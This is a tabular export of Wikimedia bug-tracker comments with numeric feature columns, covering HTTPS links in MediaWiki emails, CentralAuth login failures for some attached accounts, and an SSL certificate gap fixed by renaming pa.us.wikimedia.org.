For #3 the initial password email (user account created by an administrator) and the initial email confirmation (email registrated in the new account form), I have doubts if the user preference should be taken into account since the user never logged in, so probably the better solution is to follow the canonical protocol.

To conclude:
A) resolve this bug for #1 and #2 could be easily done, but it could block/make more difficult the reception of emails for https-blocked users (they will have to change the protocol);
B) I find not really justified the implementation of this bug for any message sent to the user before his/her first connection (e.g. #3);
C) the resolution of this bug is quite challenging (although possible) for watchlist emails and any other impersonal bulk email (#4 and #5)."
204371,Links in MediaWiki emails should respect the user's https preference,"For continuity of the discussion this is currently discussed on wikitech-l
http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/72418",,,1378330172,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,1.0,"For continuity of the discussion this is currently discussed on wikitech-l
URL"
204363,Links in MediaWiki emails should respect the user's https preference,Is this an automatic watchlist notification email?  Can you post it as text so people can translate it more easily?,,,1375651340,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,13.0,9.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.173913043478261,0.9130434782608695,Is this an automatic watchlist notification email?  Can you post it as text so people can translate it more easily?
204358,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #4)
> (In reply to comment #3)
> > I know evey page of each wiki project support https. So why not enforce using
> > https in Wiki? It's much safer and more convenient (especially for some
> > environment with sensorship).
> No, this has to be a user choice. Please consider
> http://www-uxsup.csx.cam.ac.uk/~jw35/courses/using_https/html/x183.htm

Yes it has to be a choice, but that document is probably not relevant. Lets see the 4 points:
* 1) Browsers: Though, they'll have to figure it out because the web is moving on. Many services (including GMail, Twitter and Facebook) are already on HTTPS by default. And some don't even (want to) provide a way to disable that. All they serve over HTTP is a redirect.
* 2) Certificates: Not relevant, we already have them and we'd keep them regardless, for people that would opt-in. And allowing the option to use HTTPS is much more important than having the option to not use HTTPS. Though we will probably allow both, no reason not to allow HTTP
* 3) Firewalls: Again, though. The web is moving on. Many services (think: Bank websites, PayPal etc.) are already HTTPS only. Natural selection will take place and people will use services that aren't in the last century. This is inevitable.
* 4) Server encryption overhead: This used to be a problem, but I think the big boys have proven years ago that HTTPS can be efficient as well. If anything, it is a server side issue we'll have to take care of. But I think this is no longer a problem.


At some point we will make HTTPS a default on wmf-wikis, so users that didn't choose for HTTPS will get it. However keeping a user preference to opt out after it has become the default is easy to implement. Sure, if some people (whatever the reason) don't want HTTPS, no point in forcing it :)",,,1346100945,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,True,,,-53,True,1.75,0.25,0.0,0.0,2.0,2.75,2.25,0.25,0.75,0.5,1.5,1.75,0.0,0.25,0.0,1.75,0.0,7.25,9.5,0.25,3.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.25,2.25,0.0,5.75,1.5,1.5,0.5,0.0,0.0,0.0,1.25,1.25,0.5,1.0,0.25,1.25,0.0,0.5,0.0,0.75,0.0,12.0,1.0,0.5,0.0,0.25,0.0,0.0,0.0,0.5,0.75,0.0,0.25,0.75,0.25,0.5,0.0,0.75,0.0,4.5,3.75,12.25,1.5,2.0,7.75,0.0,0.25,0.0,0.25,6.75,0.5,2.5,0.0,4.5,9.5,4.5,0.0,0.0,0.0,4.5,0.0,1.0,2.0,0.5,1.75,0.5,0.0,0.25,3.5290295193312433,0.7173132183908046,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes it has to be a choice, but that document is probably not relevant. Lets see the 4 points:
* 1) Browsers: Though, they'll have to figure it out because the web is moving on. Many services (including GMail, Twitter and Facebook) are already on HTTPS by default. And some don't even (want to) provide a way to disable that. All they serve over HTTP is a redirect.
* 2) Certificates: Not relevant, we already have them and we'd keep them regardless, for people that would opt-in. And allowing the option to use HTTPS is much more important than having the option to not use HTTPS. Though we will probably allow both, no reason not to allow HTTP
* 3) Firewalls: Again, though. The web is moving on. Many services (think: Bank websites, PayPal etc.) are already HTTPS only. Natural selection will take place and people will use services that aren't in the last century. This is inevitable.
* 4) Server encryption overhead: This used to be a problem, but I think the big boys have proven years ago that HTTPS can be efficient as well. If anything, it is a server side issue we'll have to take care of. But I think this is no longer a problem.


At some point we will make HTTPS a default on wmf-wikis, so users that didn't choose for HTTPS will get it. However keeping a user preference to opt out after it has become the default is easy to implement. Sure, if some people (whatever the reason) don't want HTTPS, no point in forcing it :)"
204352,Links in MediaWiki emails should respect the user's https preference,"**jack.sns** wrote:

Maybe you're right, but I can find nowhere to choose. In addition, how to make wikipedia send email with https links to me?",,,1346100340,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,8.0,14.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.361111111111111,0.8333333333333334,"**jack.sns** wrote:

Maybe you're right, but I can find nowhere to choose. In addition, how to make wikipedia send email with https links to me?"
204346,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #3)
> I know evey page of each wiki project support https. So why not enforce using
> https in Wiki? It's much safer and more convenient (especially for some
> environment with sensorship).
No, this has to be a user choice. Please consider http://www-uxsup.csx.cam.ac.uk/~jw35/courses/using_https/html/x183.htm",,,1346099946,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,4.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.7857142857142857,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
No, this has to be a user choice. Please consider URL"
204336,Links in MediaWiki emails should respect the user's https preference,"**jack.sns** wrote:

I know evey page of each wiki project support https. So why not enforce using https in Wiki? It's much safer and more convenient (especially for some environment with sensorship).",,,1346092797,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,7.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,2.0,3.8636363636363638,0.8863636363636364,"**jack.sns** wrote:

I know evey page of each wiki project support https. So why not enforce using https in Wiki? It's much safer and more convenient (especially for some environment with sensorship)."
204330,Links in MediaWiki emails should respect the user's https preference,"I think it's more a dependency: ""when user has enforced https for browsing the wiki, the mail sent to this user should use https://"".

Adding SSL tracking bug, and 28989 dependency.",,,1346056985,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,5.0,3.0,0.0,3.0,0.0,5.0,0.0,3.0,3.0,0.0,5.0,3.0,0.0,0.0,3.8157894736842106,0.8947368421052632,"I think it's more a dependency: ""when user has enforced https for browsing the wiki, the mail sent to this user should use URL

Adding SSL tracking bug, and 28989 dependency."
204326,Links in MediaWiki emails should respect the user's https preference,This sounds like a duplicate of bug 29898.,,,1346036339,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,True,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,This sounds like a duplicate of bug 29898.
41060,"Can't login to some local attached accounts, said not to exist","CentralAuth correctly autocreated and attached some local accounts (see 2012-08-05 20:44 entries on URL) but now I can't login to some of them, specifically map-bms.wiki, mwl.wiki, wo.wikt. Local password reset fails, apparently with 'noemail' error, but Special:MergeAccount is happy.

For folklore: «Bii baatujàll baaxul. Jéemaatal.» «Ora ana alamat imel sing kecathet kanggo panganggo ""Nemo bis"".»

Maybe incomplete attachment (??) due to race conditions? Compare bug 29234 where local account wasn't attached at all.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: http://toolserver.org/~pathoschild/stalktoy/?target=Nemo_bis",Low,25.0,1344201660,1411622816.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-c7ptec45c2ra4zewjqsu,task_description,resolved,True,c2,1,True,False,False,-56,True,1.5,0.0,0.0,0.5,1.0,5.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,6.0,4.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,3.0,0.0,0.5,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,2.0,0.5,2.5,0.0,1.0,4.5,5.5,2.0,2.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.9456760316066726,0.7475856014047411,"CentralAuth correctly autocreated and attached some local accounts (see 2012-08-05 20:44 entries on URL) but now I can't login to some of them, specifically map-bms.wiki, mwl.wiki, wo.wikt. Local password reset fails, apparently with 'noemail' error, but Special:MergeAccount is happy.

For folklore: «Bii baatujàll baaxul. Jéemaatal.» «Ora ana alamat imel sing kecathet kanggo panganggo ""Nemo bis"".»

Maybe incomplete attachment (??) due to race conditions? Compare bug 29234 where local account wasn't attached at all.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
192987,"Can't login to some local attached accounts, said not to exist","Hopefully, this was fixed for good, at bug 39996.

(Kunal Mehta (Legoktm) on bug 39996 comment #93)
> There have been no new broken accounts since Sept 5th (possibly earlier).
> Yay!
> 
> Closing this as fixed, but I'll keep an eye on it to make sure it doesn't
> come back.

*** This bug has been marked as a duplicate of bug 39996 ***",,,1411622816,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-c7ptec45c2ra4zewjqsu,task_subcomment,,True,c2,3,True,,,56,True,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.037037037037037,0.5925925925925926,"Hopefully, this was fixed for good, at bug 39996.

(Kunal Mehta (Legoktm) on bug 39996 comment #93)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

*** This bug has been marked as a duplicate of bug 39996 ***"
192984,"Can't login to some local attached accounts, said not to exist","Probably related: bug 39996, bug 35792 and bug 39997.",,,1347994107,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-c7ptec45c2ra4zewjqsu,task_subcomment,,True,c2,1,True,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.8333333333333334,"Probably related: bug 39996, bug 35792 and bug 39997."
192982,"Can't login to some local attached accounts, said not to exist","**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

(In reply to comment #0)
> CentralAuth correctly autocreated and attached some local accounts (see
> 2012-08-05 20:44 entries on URL) but now I can't login to some of them,
> specifically map-bms.wiki, mwl.wiki, wo.wikt. Local password reset fails,
> apparently with 'noemail' error, but Special:MergeAccount is happy.
>
> Maybe incomplete attachment (??) due to race conditions? Compare bug 29234
> where local account wasn't attached at all.

This is definetly the same what I encountered thrice, see bug 29234 !!

Some staff with db access has to fill in the email address for you, maybe ask someone at IRC.

Sadly, I don't think this bug will be solved ever :(",,,1344967571,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-c7ptec45c2ra4zewjqsu,task_subcomment,,True,c2,1,False,,,-55,True,1.0,1.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,6.0,0.0,0.0,2.0,1.0,7.0,0.0,3.0,0.0,3.0,8.0,8.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.6931818181818182,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is definetly the same what I encountered thrice, see bug 29234 !!

Some staff with db access has to fill in the email address for you, maybe ask someone at IRC.

Sadly, I don't think this bug will be solved ever :("
40763,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"Though pauswikimediawiki is 'somewhat' dead, it should either be renamed or we should find a solution to the SSL cert failure.

--------------------------
**Version**: unspecified
**Severity**: trivial
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=58024",Low,25.0,1343412300,1363300960.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3gfni2knqeggryedidtp,task_description,resolved,True,c2,1,True,False,True,-57,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.69811320754717,0.660377358490566,"Though pauswikimediawiki is 'somewhat' dead, it should either be renamed or we should find a solution to the SSL cert failure.

--------------------------
**Version**: unspecified
**Severity**: trivial
**See Also**:
URL"
199803,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,15:52 < mutante> !log pa.us.wikimedia.org now redirects to pa-us.wikimedia.org (Wikimedia Pennsylvania) (no sub.sub domains),,,1363301169,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.55,0.9,15:52 < mutante> !log pa.us.wikimedia.org now redirects to pa-us.wikimedia.org (Wikimedia Pennsylvania) (no sub.sub domains)
199799,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"https://gerrit.wikimedia.org/r/#/c/53874/
https://gerrit.wikimedia.org/r/#/c/53859/

apache-fast-test pa-us.wikimedia.url mw1044 testing 4 urls on 1 servers, totalling 4 requests spawning threads..

http://pa-us.wikimedia.org
* 301 Moved Permanently http://pa-us.wikimedia.org/wiki/Main_Page
http://pa.us.wikimedia.org
* 301 Moved Permanently https://pa-us.wikimedia.org/
https://pa-us.wikimedia.org
* 301 Moved Permanently https://pa-us.wikimedia.org/wiki/Main_Page
https://pa.us.wikimedia.org
* 301 Moved Permanently https://pa-us.wikimedia.org/",,,1363301141,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9464285714285716,0.44642857142857145,"URL
URL

apache-fast-test pa-us.wikimedia.url mw1044 testing 4 urls on 1 servers, totalling 4 requests spawning threads..

URL
* 301 Moved Permanently URL
URL
* 301 Moved Permanently URL
URL
* 301 Moved Permanently URL
URL
* 301 Moved Permanently URL"
199795,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"RENAMED


O
M
G
Z",,,1363300960,,PHID-USER-6vzzsmi22zem6yttr6vp,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.8888888888888888,0.7777777777777778,"RENAMED


O
M
G
Z"
199790,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,added pa-us.wikimedia.org to DNS to replace pa.us (but keep that too for redirects,,,1363294966,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,21.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9285714285714286,added pa-us.wikimedia.org to DNS to replace pa.us (but keep that too for redirects
199785,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,This bug appears to be a duplicate of bug 31335.,,,1360571786,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,This bug appears to be a duplicate of bug 31335.
199779,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"What would you think of using wikimedia.us as the TLD for all US-based city/state chapters?

"".., like us-bo Wikimedia Boston,  us-ca Wikimedia California, us-mw Wikimedia Midwest US and us-pa Wikimedia Pennsylvania and turn those into bo.wikimedia.us, ca.wikimedia.us, bo.wikimedia.us""

https://rt.wikimedia.org/Ticket/Display.html?id=4416",,,1359157720,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-31,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,32.0,2.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.112903225806452,0.6935483870967742,"What would you think of using wikimedia.us as the TLD for all US-based city/state chapters?

"".., like us-bo Wikimedia Boston,  us-ca Wikimedia California, us-mw Wikimedia Midwest US and us-pa Wikimedia Pennsylvania and turn those into bo.wikimedia.us, ca.wikimedia.us, bo.wikimedia.us""

URL"
199772,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"we would prefer renaming of sub.sub.domains. It is not possible to get a *.*.wikimedia.org cert as far as we know. So we would have to get extra certificates or add them as additional SANs. Please also hear RobH on this, since he orders certs and had some plans to get them 